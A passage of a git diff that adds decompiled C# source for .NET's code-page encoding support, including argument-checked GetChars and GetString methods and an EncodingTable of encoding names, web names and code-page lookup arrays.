ArgumentNullException("bytes"); + } + if (count < 0) + { + throw new ArgumentOutOfRangeException("count", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + return GetCharCount(bytes, count, null); + } + + public unsafe override int GetChars(byte[] bytes, int byteIndex, int byteCount, char[] chars, int charIndex) + { + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (byteIndex < 0 || byteCount < 0) + { + throw new ArgumentOutOfRangeException((byteIndex < 0) ? "byteIndex" : "byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (bytes.Length - byteIndex < byteCount) + { + throw new ArgumentOutOfRangeException("bytes", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (charIndex < 0 || charIndex > chars.Length) + { + throw new ArgumentOutOfRangeException("charIndex", System.SR.ArgumentOutOfRange_IndexMustBeLessOrEqual); + } + if (bytes.Length == 0) + { + return 0; + } + int charCount = chars.Length - charIndex; + if (chars.Length == 0) + { + chars = new char[1]; + } + fixed (byte* ptr = &bytes[0]) + { + fixed (char* ptr2 = &chars[0]) + { + return GetChars(ptr + byteIndex, byteCount, ptr2 + charIndex, charCount, null); + } + } + } + + public unsafe override int GetChars(byte* bytes, int byteCount, char* chars, int charCount) + { + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (charCount < 0 || byteCount < 0) + { + throw new ArgumentOutOfRangeException((charCount < 0) ? "charCount" : "byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + return GetChars(bytes, byteCount, chars, charCount, null); + } + + public unsafe override string GetString(byte[] bytes, int index, int count) + { + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (index < 0 || count < 0) + { + throw new ArgumentOutOfRangeException((index < 0) ? "index" : "count", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (bytes.Length - index < count) + { + throw new ArgumentOutOfRangeException("bytes", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (bytes.Length == 0) + { + return string.Empty; + } + fixed (byte* ptr = &bytes[0]) + { + return GetString(ptr + index, count); + } + } + + public override Decoder GetDecoder() + { + return new System.Text.DecoderNLS(this); + } + + public override Encoder GetEncoder() + { + return new System.Text.EncoderNLS(this); + } + + internal void ThrowBytesOverflow(System.Text.EncoderNLS encoder, bool nothingEncoded) + { + if ((encoder?.m_throwOnOverflow ?? true) || nothingEncoded) + { + if (encoder != null && encoder.InternalHasFallbackBuffer) + { + encoder.FallbackBuffer.Reset(); + } + ThrowBytesOverflow(); + } + encoder.ClearMustFlush(); + } + + internal void ThrowCharsOverflow(System.Text.DecoderNLS decoder, bool nothingDecoded) + { + if ((decoder?.m_throwOnOverflow ?? true) || nothingDecoded) + { + if (decoder != null && decoder.InternalHasFallbackBuffer) + { + decoder.FallbackBuffer.Reset(); + } + ThrowCharsOverflow(); + } + decoder.ClearMustFlush(); + } + + [DoesNotReturn] + internal void ThrowBytesOverflow() + { + throw new ArgumentException(System.SR.Format(System.SR.Argument_EncodingConversionOverflowBytes, EncodingName, base.EncoderFallback.GetType()), "bytes"); + } + + [DoesNotReturn] + internal void ThrowCharsOverflow() + { + throw new ArgumentException(System.SR.Format(System.SR.Argument_EncodingConversionOverflowChars, EncodingName, base.DecoderFallback.GetType()), "chars"); + } + + internal static string GetLocalizedEncodingNameResource(int codePage) + { + return codePage switch + { + 37 => System.SR.Globalization_cp_37, + 437 => System.SR.Globalization_cp_437, + 500 => System.SR.Globalization_cp_500, + 708 => System.SR.Globalization_cp_708, + 720 => System.SR.Globalization_cp_720, + 737 => System.SR.Globalization_cp_737, + 775 => System.SR.Globalization_cp_775, + 850 => System.SR.Globalization_cp_850, + 852 => System.SR.Globalization_cp_852, + 855 => System.SR.Globalization_cp_855, + 857 => System.SR.Globalization_cp_857, + 858 => System.SR.Globalization_cp_858, + 860 => System.SR.Globalization_cp_860, + 861 => System.SR.Globalization_cp_861, + 862 => System.SR.Globalization_cp_862, + 863 => System.SR.Globalization_cp_863, + 864 => System.SR.Globalization_cp_864, + 865 => System.SR.Globalization_cp_865, + 866 => System.SR.Globalization_cp_866, + 869 => System.SR.Globalization_cp_869, + 870 => System.SR.Globalization_cp_870, + 874 => System.SR.Globalization_cp_874, + 875 => System.SR.Globalization_cp_875, + 932 => System.SR.Globalization_cp_932, + 936 => System.SR.Globalization_cp_936, + 949 => System.SR.Globalization_cp_949, + 950 => System.SR.Globalization_cp_950, + 1026 => System.SR.Globalization_cp_1026, + 1047 => System.SR.Globalization_cp_1047, + 1140 => System.SR.Globalization_cp_1140, + 1141 => System.SR.Globalization_cp_1141, + 1142 => System.SR.Globalization_cp_1142, + 1143 => System.SR.Globalization_cp_1143, + 1144 => System.SR.Globalization_cp_1144, + 1145 => System.SR.Globalization_cp_1145, + 1146 => System.SR.Globalization_cp_1146, + 1147 => System.SR.Globalization_cp_1147, + 1148 => System.SR.Globalization_cp_1148, + 1149 => System.SR.Globalization_cp_1149, + 1250 => System.SR.Globalization_cp_1250, + 1251 => System.SR.Globalization_cp_1251, + 1252 => System.SR.Globalization_cp_1252, + 1253 => System.SR.Globalization_cp_1253, + 1254 => System.SR.Globalization_cp_1254, + 1255 => System.SR.Globalization_cp_1255, + 1256 => System.SR.Globalization_cp_1256, + 1257 => System.SR.Globalization_cp_1257, + 1258 => System.SR.Globalization_cp_1258, + 1361 => System.SR.Globalization_cp_1361, + 10000 => System.SR.Globalization_cp_10000, + 10001 => System.SR.Globalization_cp_10001, + 10002 => System.SR.Globalization_cp_10002, + 10003 => System.SR.Globalization_cp_10003, + 10004 => System.SR.Globalization_cp_10004, + 10005 => System.SR.Globalization_cp_10005, + 10006 => System.SR.Globalization_cp_10006, + 10007 => System.SR.Globalization_cp_10007, + 10008 => System.SR.Globalization_cp_10008, + 10010 => System.SR.Globalization_cp_10010, + 10017 => System.SR.Globalization_cp_10017, + 10021 => System.SR.Globalization_cp_10021, + 10029 => System.SR.Globalization_cp_10029, + 10079 => System.SR.Globalization_cp_10079, + 10081 => System.SR.Globalization_cp_10081, + 10082 => System.SR.Globalization_cp_10082, + 20000 => System.SR.Globalization_cp_20000, + 20001 => System.SR.Globalization_cp_20001, + 20002 => System.SR.Globalization_cp_20002, + 20003 => System.SR.Globalization_cp_20003, + 20004 => System.SR.Globalization_cp_20004, + 20005 => System.SR.Globalization_cp_20005, + 20105 => System.SR.Globalization_cp_20105, + 20106 => System.SR.Globalization_cp_20106, + 20107 => System.SR.Globalization_cp_20107, + 20108 => System.SR.Globalization_cp_20108, + 20261 => System.SR.Globalization_cp_20261, + 20269 => System.SR.Globalization_cp_20269, + 20273 => System.SR.Globalization_cp_20273, + 20277 => System.SR.Globalization_cp_20277, + 20278 => System.SR.Globalization_cp_20278, + 20280 => System.SR.Globalization_cp_20280, + 20284 => System.SR.Globalization_cp_20284, + 20285 => System.SR.Globalization_cp_20285, + 20290 => System.SR.Globalization_cp_20290, + 20297 => System.SR.Globalization_cp_20297, + 20420 => System.SR.Globalization_cp_20420, + 20423 => System.SR.Globalization_cp_20423, + 20424 => System.SR.Globalization_cp_20424, + 20833 => System.SR.Globalization_cp_20833, + 20838 => System.SR.Globalization_cp_20838, + 20866 => System.SR.Globalization_cp_20866, + 20871 => System.SR.Globalization_cp_20871, + 20880 => System.SR.Globalization_cp_20880, + 20905 => System.SR.Globalization_cp_20905, + 20924 => System.SR.Globalization_cp_20924, + 20932 => System.SR.Globalization_cp_20932, + 20936 => System.SR.Globalization_cp_20936, + 20949 => System.SR.Globalization_cp_20949, + 21025 => System.SR.Globalization_cp_21025, + 21027 => System.SR.Globalization_cp_21027, + 21866 => System.SR.Globalization_cp_21866, + 28592 => System.SR.Globalization_cp_28592, + 28593 => System.SR.Globalization_cp_28593, + 28594 => System.SR.Globalization_cp_28594, + 28595 => System.SR.Globalization_cp_28595, + 28596 => System.SR.Globalization_cp_28596, + 28597 => System.SR.Globalization_cp_28597, + 28598 => System.SR.Globalization_cp_28598, + 28599 => System.SR.Globalization_cp_28599, + 28603 => System.SR.Globalization_cp_28603, + 28605 => System.SR.Globalization_cp_28605, + 29001 => System.SR.Globalization_cp_29001, + 38598 => System.SR.Globalization_cp_38598, + 50000 => System.SR.Globalization_cp_50000, + 50220 => System.SR.Globalization_cp_50220, + 50221 => System.SR.Globalization_cp_50221, + 50222 => System.SR.Globalization_cp_50222, + 50225 => System.SR.Globalization_cp_50225, + 50227 => System.SR.Globalization_cp_50227, + 50229 => System.SR.Globalization_cp_50229, + 50930 => System.SR.Globalization_cp_50930, + 50931 => System.SR.Globalization_cp_50931, + 50933 => System.SR.Globalization_cp_50933, + 50935 => System.SR.Globalization_cp_50935, + 50937 => System.SR.Globalization_cp_50937, + 50939 => System.SR.Globalization_cp_50939, + 51932 => System.SR.Globalization_cp_51932, + 51936 => System.SR.Globalization_cp_51936, + 51949 => System.SR.Globalization_cp_51949, + 52936 => System.SR.Globalization_cp_52936, + 54936 => System.SR.Globalization_cp_54936, + 57002 => System.SR.Globalization_cp_57002, + 57003 => System.SR.Globalization_cp_57003, + 57004 => System.SR.Globalization_cp_57004, + 57005 => System.SR.Globalization_cp_57005, + 57006 => System.SR.Globalization_cp_57006, + 57007 => System.SR.Globalization_cp_57007, + 57008 => System.SR.Globalization_cp_57008, + 57009 => System.SR.Globalization_cp_57009, + 57010 => System.SR.Globalization_cp_57010, + 57011 => System.SR.Globalization_cp_57011, + _ => null, + }; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingTable.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingTable.cs new file mode 100644 index 0000000..d1386bd --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingTable.cs @@ -0,0 +1,296 @@ +using System.Collections.Generic; +using System.Threading; + +namespace System.Text; + +internal static class EncodingTable +{ + private static readonly Dictionary s_nameToCodePageCache = new Dictionary(StringComparer.OrdinalIgnoreCase); + + private static readonly Dictionary s_codePageToWebNameCache = new Dictionary(); + + private static readonly Dictionary s_codePageToEnglishNameCache = new Dictionary(); + + private static readonly ReaderWriterLockSlim s_cacheLock = new ReaderWriterLockSlim(); + + private const string s_encodingNames = "437arabicasmo-708big5big5-hkscsccsid00858ccsid00924ccsid01140ccsid01141ccsid01142ccsid01143ccsid01144ccsid01145ccsid01146ccsid01147ccsid01148ccsid01149chinesecn-big5cn-gbcp00858cp00924cp01140cp01141cp01142cp01143cp01144cp01145cp01146cp01147cp01148cp01149cp037cp1025cp1026cp1252cp1256cp273cp278cp280cp284cp285cp290cp297cp420cp423cp424cp437cp500cp50227cp850cp852cp855cp857cp858cp860cp861cp862cp863cp864cp865cp866cp869cp870cp871cp875cp880cp905csbig5cseuckrcseucpkdfmtjapanesecsgb2312csgb231280csibm037csibm1026csibm273csibm277csibm278csibm280csibm284csibm285csibm290csibm297csibm420csibm423csibm424csibm500csibm870csibm871csibm880csibm905csibmthaicsiso2022jpcsiso2022krcsiso58gb231280csisolatin2csisolatin3csisolatin4csisolatin5csisolatin9csisolatinarabiccsisolatincyrilliccsisolatingreekcsisolatinhebrewcskoi8rcsksc56011987cspc8codepage437csshiftjiscswindows31jcyrillicdin_66003dos-720dos-862dos-874ebcdic-cp-ar1ebcdic-cp-beebcdic-cp-caebcdic-cp-chebcdic-cp-dkebcdic-cp-esebcdic-cp-fiebcdic-cp-frebcdic-cp-gbebcdic-cp-grebcdic-cp-heebcdic-cp-isebcdic-cp-itebcdic-cp-nlebcdic-cp-noebcdic-cp-roeceebcdic-cp-seebcdic-cp-trebcdic-cp-usebcdic-cp-wtebcdic-cp-yuebcdic-cyrillicebcdic-de-273+euroebcdic-dk-277+euroebcdic-es-284+euroebcdic-fi-278+euroebcdic-fr-297+euroebcdic-gb-285+euroebcdic-international-500+euroebcdic-is-871+euroebcdic-it-280+euroebcdic-jp-kanaebcdic-latin9--euroebcdic-no-277+euroebcdic-se-278+euroebcdic-us-37+euroecma-114ecma-118elot_928euc-cneuc-jpeuc-krextended_unix_code_packed_format_for_japanesegb18030gb2312gb2312-80gb231280gb_2312-80gbkgermangreekgreek8hebrewhz-gb-2312ibm-thaiibm00858ibm00924ibm01047ibm01140ibm01141ibm01142ibm01143ibm01144ibm01145ibm01146ibm01147ibm01148ibm01149ibm037ibm1026ibm273ibm277ibm278ibm280ibm284ibm285ibm290ibm297ibm420ibm423ibm424ibm437ibm500ibm737ibm775ibm850ibm852ibm855ibm857ibm860ibm861ibm862ibm863ibm864ibm865ibm866ibm869ibm870ibm871ibm880ibm905irviso-2022-jpiso-2022-jpeuciso-2022-kriso-2022-kr-7iso-2022-kr-7bitiso-2022-kr-8iso-2022-kr-8bitiso-8859-11iso-8859-13iso-8859-15iso-8859-2iso-8859-3iso-8859-4iso-8859-5iso-8859-6iso-8859-7iso-8859-8iso-8859-8 visualiso-8859-8-iiso-8859-9iso-ir-101iso-ir-109iso-ir-110iso-ir-126iso-ir-127iso-ir-138iso-ir-144iso-ir-148iso-ir-149iso-ir-58iso8859-2iso_8859-15iso_8859-2iso_8859-2:1987iso_8859-3iso_8859-3:1988iso_8859-4iso_8859-4:1988iso_8859-5iso_8859-5:1988iso_8859-6iso_8859-6:1987iso_8859-7iso_8859-7:1987iso_8859-8iso_8859-8:1988iso_8859-9iso_8859-9:1989johabkoikoi8koi8-rkoi8-rukoi8-ukoi8rkoreanks-c-5601ks-c5601ks_c_5601ks_c_5601-1987ks_c_5601-1989ks_c_5601_1987ksc5601ksc_5601l2l3l4l5l9latin2latin3latin4latin5latin9logicalmacintoshms_kanjinorwegianns_4551-1pc-multilingual-850+eurosen_850200_bshift-jisshift_jissjisswedishtis-620visualwindows-1250windows-1251windows-1252windows-1253windows-1254windows-1255windows-1256windows-1257windows-1258windows-874x-ansix-chinese-cnsx-chinese-etenx-cp1250x-cp1251x-cp20001x-cp20003x-cp20004x-cp20005x-cp20261x-cp20269x-cp20936x-cp20949x-cp50227x-ebcdic-koreanextendedx-eucx-euc-cnx-euc-jpx-europax-ia5x-ia5-germanx-ia5-norwegianx-ia5-swedishx-iscii-asx-iscii-bex-iscii-dex-iscii-gux-iscii-kax-iscii-max-iscii-orx-iscii-pax-iscii-tax-iscii-tex-mac-arabicx-mac-cex-mac-chinesesimpx-mac-chinesetradx-mac-croatianx-mac-cyrillicx-mac-greekx-mac-hebrewx-mac-icelandicx-mac-japanesex-mac-koreanx-mac-romanianx-mac-thaix-mac-turkishx-mac-ukrainianx-ms-cp932x-sjisx-x-big5"; + + private static readonly int[] s_encodingNameIndices = new int[365] + { + 0, 3, 9, 17, 21, 31, 41, 51, 61, 71, + 81, 91, 101, 111, 121, 131, 141, 151, 158, 165, + 170, 177, 184, 191, 198, 205, 212, 219, 226, 233, + 240, 247, 254, 259, 265, 271, 277, 283, 288, 293, + 298, 303, 308, 313, 318, 323, 328, 333, 338, 343, + 350, 355, 360, 365, 370, 375, 380, 385, 390, 395, + 400, 405, 410, 415, 420, 425, 430, 435, 440, 446, + 453, 472, 480, 490, 498, 507, 515, 523, 531, 539, + 547, 555, 563, 571, 579, 587, 595, 603, 611, 619, + 627, 635, 644, 655, 666, 681, 692, 703, 714, 725, + 736, 752, 770, 785, 801, 808, 821, 837, 847, 859, + 867, 876, 883, 890, 897, 910, 922, 934, 946, 958, + 970, 982, 994, 1006, 1018, 1030, 1042, 1054, 1066, 1078, + 1093, 1105, 1117, 1129, 1141, 1153, 1168, 1186, 1204, 1222, + 1240, 1258, 1276, 1305, 1323, 1341, 1355, 1374, 1392, 1410, + 1427, 1435, 1443, 1451, 1457, 1463, 1469, 1514, 1521, 1527, + 1536, 1544, 1554, 1557, 1563, 1568, 1574, 1580, 1590, 1598, + 1606, 1614, 1622, 1630, 1638, 1646, 1654, 1662, 1670, 1678, + 1686, 1694, 1702, 1708, 1715, 1721, 1727, 1733, 1739, 1745, + 1751, 1757, 1763, 1769, 1775, 1781, 1787, 1793, 1799, 1805, + 1811, 1817, 1823, 1829, 1835, 1841, 1847, 1853, 1859, 1865, + 1871, 1877, 1883, 1889, 1895, 1901, 1904, 1915, 1929, 1940, + 1953, 1969, 1982, 1998, 2009, 2020, 2031, 2041, 2051, 2061, + 2071, 2081, 2091, 2101, 2118, 2130, 2140, 2150, 2160, 2170, + 2180, 2190, 2200, 2210, 2220, 2230, 2239, 2248, 2259, 2269, + 2284, 2294, 2309, 2319, 2334, 2344, 2359, 2369, 2384, 2394, + 2409, 2419, 2434, 2444, 2459, 2464, 2467, 2471, 2477, 2484, + 2490, 2495, 2501, 2510, 2518, 2527, 2541, 2555, 2569, 2576, + 2584, 2586, 2588, 2590, 2592, 2594, 2600, 2606, 2612, 2618, + 2624, 2631, 2640, 2648, 2657, 2666, 2690, 2702, 2711, 2720, + 2724, 2731, 2738, 2744, 2756, 2768, 2780, 2792, 2804, 2816, + 2828, 2840, 2852, 2863, 2869, 2882, 2896, 2904, 2912, 2921, + 2930, 2939, 2948, 2957, 2966, 2975, 2984, 2993, 3016, 3021, + 3029, 3037, 3045, 3050, 3062, 3077, 3090, 3100, 3110, 3120, + 3130, 3140, 3150, 3160, 3170, 3180, 3190, 3202, 3210, 3227, + 3244, 3258, 3272, 3283, 3295, 3310, 3324, 3336, 3350, 3360, + 3373, 3388, 3398, 3404, 3412 + }; + + private static readonly ushort[] s_codePagesByName = new ushort[364] + { + 437, 28596, 708, 950, 950, 858, 20924, 1140, 1141, 1142, + 1143, 1144, 1145, 1146, 1147, 1148, 1149, 936, 950, 936, + 858, 20924, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, + 1148, 1149, 37, 21025, 1026, 1252, 1256, 20273, 20278, 20280, + 20284, 20285, 20290, 20297, 20420, 20423, 20424, 437, 500, 50227, + 850, 852, 855, 857, 858, 860, 861, 862, 863, 864, + 865, 866, 869, 870, 20871, 875, 20880, 20905, 950, 51949, + 51932, 936, 936, 37, 1026, 20273, 20277, 20278, 20280, 20284, + 20285, 20290, 20297, 20420, 20423, 20424, 500, 870, 20871, 20880, + 20905, 20838, 50221, 50225, 936, 28592, 28593, 28594, 28599, 28605, + 28596, 28595, 28597, 28598, 20866, 949, 437, 932, 932, 28595, + 20106, 720, 862, 874, 20420, 500, 37, 500, 20277, 20284, + 20278, 20297, 20285, 20423, 20424, 20871, 20280, 37, 20277, 870, + 20278, 20905, 37, 37, 870, 20880, 1141, 1142, 1145, 1143, + 1147, 1146, 1148, 1149, 1144, 20290, 20924, 1142, 1143, 1140, + 28596, 28597, 28597, 51936, 51932, 51949, 51932, 54936, 936, 936, + 936, 936, 936, 20106, 28597, 28597, 28598, 52936, 20838, 858, + 20924, 1047, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, + 1148, 1149, 37, 1026, 20273, 20277, 20278, 20280, 20284, 20285, + 20290, 20297, 20420, 20423, 20424, 437, 500, 737, 775, 850, + 852, 855, 857, 860, 861, 862, 863, 864, 865, 866, + 869, 870, 20871, 20880, 20905, 20105, 50220, 51932, 50225, 50225, + 50225, 51949, 51949, 874, 28603, 28605, 28592, 28593, 28594, 28595, + 28596, 28597, 28598, 28598, 38598, 28599, 28592, 28593, 28594, 28597, + 28596, 28598, 28595, 28599, 949, 936, 28592, 28605, 28592, 28592, + 28593, 28593, 28594, 28594, 28595, 28595, 28596, 28596, 28597, 28597, + 28598, 28598, 28599, 28599, 1361, 20866, 20866, 20866, 21866, 21866, + 20866, 949, 949, 949, 949, 949, 949, 949, 949, 949, + 28592, 28593, 28594, 28599, 28605, 28592, 28593, 28594, 28599, 28605, + 28598, 10000, 932, 20108, 20108, 858, 20107, 932, 932, 932, + 20107, 874, 28598, 1250, 1251, 1252, 1253, 1254, 1255, 1256, + 1257, 1258, 874, 1252, 20000, 20002, 1250, 1251, 20001, 20003, + 20004, 20005, 20261, 20269, 20936, 20949, 50227, 20833, 51932, 51936, + 51932, 29001, 20105, 20106, 20108, 20107, 57006, 57003, 57002, 57010, + 57008, 57009, 57007, 57011, 57004, 57005, 10004, 10029, 10008, 10002, + 10082, 10007, 10006, 10005, 10079, 10001, 10003, 10010, 10021, 10081, + 10017, 932, 932, 950 + }; + + private static readonly ushort[] s_mappedCodePages = new ushort[132] + { + 37, 437, 500, 708, 720, 737, 775, 850, 852, 855, + 857, 858, 860, 861, 862, 863, 864, 865, 866, 869, + 870, 874, 875, 932, 936, 949, 950, 1026, 1047, 1140, + 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1250, + 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1361, 10000, + 10001, 10002, 10003, 10004, 10005, 10006, 10007, 10008, 10010, 10017, + 10021, 10029, 10079, 10081, 10082, 20000, 20001, 20002, 20003, 20004, + 20005, 20105, 20106, 20107, 20108, 20261, 20269, 20273, 20277, 20278, + 20280, 20284, 20285, 20290, 20297, 20420, 20423, 20424, 20833, 20838, + 20866, 20871, 20880, 20905, 20924, 20932, 20936, 20949, 21025, 21866, + 28592, 28593, 28594, 28595, 28596, 28597, 28598, 28599, 28603, 28605, + 29001, 38598, 50220, 50221, 50222, 50225, 50227, 51932, 51936, 51949, + 52936, 54936, 57002, 57003, 57004, 57005, 57006, 57007, 57008, 57009, + 57010, 57011 + }; + + private const string s_webNames = "ibm037ibm437ibm500asmo-708dos-720ibm737ibm775ibm850ibm852ibm855ibm857ibm00858ibm860ibm861dos-862ibm863ibm864ibm865cp866ibm869ibm870windows-874cp875shift_jisgb2312ks_c_5601-1987big5ibm1026ibm01047ibm01140ibm01141ibm01142ibm01143ibm01144ibm01145ibm01146ibm01147ibm01148ibm01149windows-1250windows-1251windows-1252windows-1253windows-1254windows-1255windows-1256windows-1257windows-1258johabmacintoshx-mac-japanesex-mac-chinesetradx-mac-koreanx-mac-arabicx-mac-hebrewx-mac-greekx-mac-cyrillicx-mac-chinesesimpx-mac-romanianx-mac-ukrainianx-mac-thaix-mac-cex-mac-icelandicx-mac-turkishx-mac-croatianx-chinese-cnsx-cp20001x-chinese-etenx-cp20003x-cp20004x-cp20005x-ia5x-ia5-germanx-ia5-swedishx-ia5-norwegianx-cp20261x-cp20269ibm273ibm277ibm278ibm280ibm284ibm285ibm290ibm297ibm420ibm423ibm424x-ebcdic-koreanextendedibm-thaikoi8-ribm871ibm880ibm905ibm00924euc-jpx-cp20936x-cp20949cp1025koi8-uiso-8859-2iso-8859-3iso-8859-4iso-8859-5iso-8859-6iso-8859-7iso-8859-8iso-8859-9iso-8859-13iso-8859-15x-europaiso-8859-8-iiso-2022-jpcsiso2022jpiso-2022-jpiso-2022-krx-cp50227euc-jpeuc-cneuc-krhz-gb-2312gb18030x-iscii-dex-iscii-bex-iscii-tax-iscii-tex-iscii-asx-iscii-orx-iscii-kax-iscii-max-iscii-gux-iscii-pa"; + + private static readonly int[] s_webNameIndices = new int[133] + { + 0, 6, 12, 18, 26, 33, 39, 45, 51, 57, + 63, 69, 77, 83, 89, 96, 102, 108, 114, 119, + 125, 131, 142, 147, 156, 162, 176, 180, 187, 195, + 203, 211, 219, 227, 235, 243, 251, 259, 267, 275, + 287, 299, 311, 323, 335, 347, 359, 371, 383, 388, + 397, 411, 428, 440, 452, 464, 475, 489, 506, 520, + 535, 545, 553, 568, 581, 595, 608, 617, 631, 640, + 649, 658, 663, 675, 688, 703, 712, 721, 727, 733, + 739, 745, 751, 757, 763, 769, 775, 781, 787, 810, + 818, 824, 830, 836, 842, 850, 856, 865, 874, 880, + 886, 896, 906, 916, 926, 936, 946, 956, 966, 977, + 988, 996, 1008, 1019, 1030, 1041, 1052, 1061, 1067, 1073, + 1079, 1089, 1096, 1106, 1116, 1126, 1136, 1146, 1156, 1166, + 1176, 1186, 1196 + }; + + private const string s_englishNames = "IBM EBCDIC (US-Canada)OEM United StatesIBM EBCDIC (International)Arabic (ASMO 708)Arabic (DOS)Greek (DOS)Baltic (DOS)Western European (DOS)Central European (DOS)OEM CyrillicTurkish (DOS)OEM Multilingual Latin IPortuguese (DOS)Icelandic (DOS)Hebrew (DOS)French Canadian (DOS)Arabic (864)Nordic (DOS)Cyrillic (DOS)Greek, Modern (DOS)IBM EBCDIC (Multilingual Latin-2)Thai (Windows)IBM EBCDIC (Greek Modern)Japanese (Shift-JIS)Chinese Simplified (GB2312)KoreanChinese Traditional (Big5)IBM EBCDIC (Turkish Latin-5)IBM Latin-1IBM EBCDIC (US-Canada-Euro)IBM EBCDIC (Germany-Euro)IBM EBCDIC (Denmark-Norway-Euro)IBM EBCDIC (Finland-Sweden-Euro)IBM EBCDIC (Italy-Euro)IBM EBCDIC (Spain-Euro)IBM EBCDIC (UK-Euro)IBM EBCDIC (France-Euro)IBM EBCDIC (International-Euro)IBM EBCDIC (Icelandic-Euro)Central European (Windows)Cyrillic (Windows)Western European (Windows)Greek (Windows)Turkish (Windows)Hebrew (Windows)Arabic (Windows)Baltic (Windows)Vietnamese (Windows)Korean (Johab)Western European (Mac)Japanese (Mac)Chinese Traditional (Mac)Korean (Mac)Arabic (Mac)Hebrew (Mac)Greek (Mac)Cyrillic (Mac)Chinese Simplified (Mac)Romanian (Mac)Ukrainian (Mac)Thai (Mac)Central European (Mac)Icelandic (Mac)Turkish (Mac)Croatian (Mac)Chinese Traditional (CNS)TCA TaiwanChinese Traditional (Eten)IBM5550 TaiwanTeleText TaiwanWang TaiwanWestern European (IA5)German (IA5)Swedish (IA5)Norwegian (IA5)T.61ISO-6937IBM EBCDIC (Germany)IBM EBCDIC (Denmark-Norway)IBM EBCDIC (Finland-Sweden)IBM EBCDIC (Italy)IBM EBCDIC (Spain)IBM EBCDIC (UK)IBM EBCDIC (Japanese katakana)IBM EBCDIC (France)IBM EBCDIC (Arabic)IBM EBCDIC (Greek)IBM EBCDIC (Hebrew)IBM EBCDIC (Korean Extended)IBM EBCDIC (Thai)Cyrillic (KOI8-R)IBM EBCDIC (Icelandic)IBM EBCDIC (Cyrillic Russian)IBM EBCDIC (Turkish)IBM Latin-1Japanese (JIS 0208-1990 and 0212-1990)Chinese Simplified (GB2312-80)Korean WansungIBM EBCDIC (Cyrillic Serbian-Bulgarian)Cyrillic (KOI8-U)Central European (ISO)Latin 3 (ISO)Baltic (ISO)Cyrillic (ISO)Arabic (ISO)Greek (ISO)Hebrew (ISO-Visual)Turkish (ISO)Estonian (ISO)Latin 9 (ISO)EuropaHebrew (ISO-Logical)Japanese (JIS)Japanese (JIS-Allow 1 byte Kana)Japanese (JIS-Allow 1 byte Kana - SO/SI)Korean (ISO)Chinese Simplified (ISO-2022)Japanese (EUC)Chinese Simplified (EUC)Korean (EUC)Chinese Simplified (HZ)Chinese Simplified (GB18030)ISCII DevanagariISCII BengaliISCII TamilISCII TeluguISCII AssameseISCII OriyaISCII KannadaISCII MalayalamISCII GujaratiISCII Punjabi"; + + private static readonly int[] s_englishNameIndices = new int[133] + { + 0, 22, 39, 65, 82, 94, 105, 117, 139, 161, + 173, 186, 210, 226, 241, 253, 274, 286, 298, 312, + 331, 364, 378, 403, 423, 450, 456, 482, 510, 521, + 548, 573, 605, 637, 660, 683, 703, 727, 758, 785, + 811, 829, 855, 870, 887, 903, 919, 935, 955, 969, + 991, 1005, 1030, 1042, 1054, 1066, 1077, 1091, 1115, 1129, + 1144, 1154, 1176, 1191, 1204, 1218, 1243, 1253, 1279, 1293, + 1308, 1319, 1341, 1353, 1366, 1381, 1385, 1393, 1413, 1440, + 1467, 1485, 1503, 1518, 1548, 1567, 1586, 1604, 1623, 1651, + 1668, 1685, 1707, 1736, 1756, 1767, 1805, 1835, 1849, 1888, + 1905, 1927, 1940, 1952, 1966, 1978, 1989, 2008, 2021, 2035, + 2048, 2054, 2074, 2088, 2120, 2160, 2172, 2201, 2215, 2239, + 2251, 2274, 2302, 2318, 2331, 2342, 2354, 2368, 2379, 2392, + 2407, 2421, 2434 + }; + + internal static int GetCodePageFromName(string name) + { + if (name == null) + { + return 0; + } + s_cacheLock.EnterUpgradeableReadLock(); + try + { + if (s_nameToCodePageCache.TryGetValue(name, out var value)) + { + return value; + } + value = InternalGetCodePageFromName(name); + if (value == 0) + { + return 0; + } + s_cacheLock.EnterWriteLock(); + try + { + if (s_nameToCodePageCache.TryGetValue(name, out var value2)) + { + return value2; + } + s_nameToCodePageCache.Add(name, value); + return value; + } + finally + { + s_cacheLock.ExitWriteLock(); + } + } + finally + { + s_cacheLock.ExitUpgradeableReadLock(); + } + } + + private static int InternalGetCodePageFromName(string name) + { + int i = 0; + int num = s_encodingNameIndices.Length - 2; + name = name.ToLowerInvariant(); + while (num - i > 3) + { + int num2 = (num - i) / 2 + i; + int num3 = CompareOrdinal(name, "437arabicasmo-708big5big5-hkscsccsid00858ccsid00924ccsid01140ccsid01141ccsid01142ccsid01143ccsid01144ccsid01145ccsid01146ccsid01147ccsid01148ccsid01149chinesecn-big5cn-gbcp00858cp00924cp01140cp01141cp01142cp01143cp01144cp01145cp01146cp01147cp01148cp01149cp037cp1025cp1026cp1252cp1256cp273cp278cp280cp284cp285cp290cp297cp420cp423cp424cp437cp500cp50227cp850cp852cp855cp857cp858cp860cp861cp862cp863cp864cp865cp866cp869cp870cp871cp875cp880cp905csbig5cseuckrcseucpkdfmtjapanesecsgb2312csgb231280csibm037csibm1026csibm273csibm277csibm278csibm280csibm284csibm285csibm290csibm297csibm420csibm423csibm424csibm500csibm870csibm871csibm880csibm905csibmthaicsiso2022jpcsiso2022krcsiso58gb231280csisolatin2csisolatin3csisolatin4csisolatin5csisolatin9csisolatinarabiccsisolatincyrilliccsisolatingreekcsisolatinhebrewcskoi8rcsksc56011987cspc8codepage437csshiftjiscswindows31jcyrillicdin_66003dos-720dos-862dos-874ebcdic-cp-ar1ebcdic-cp-beebcdi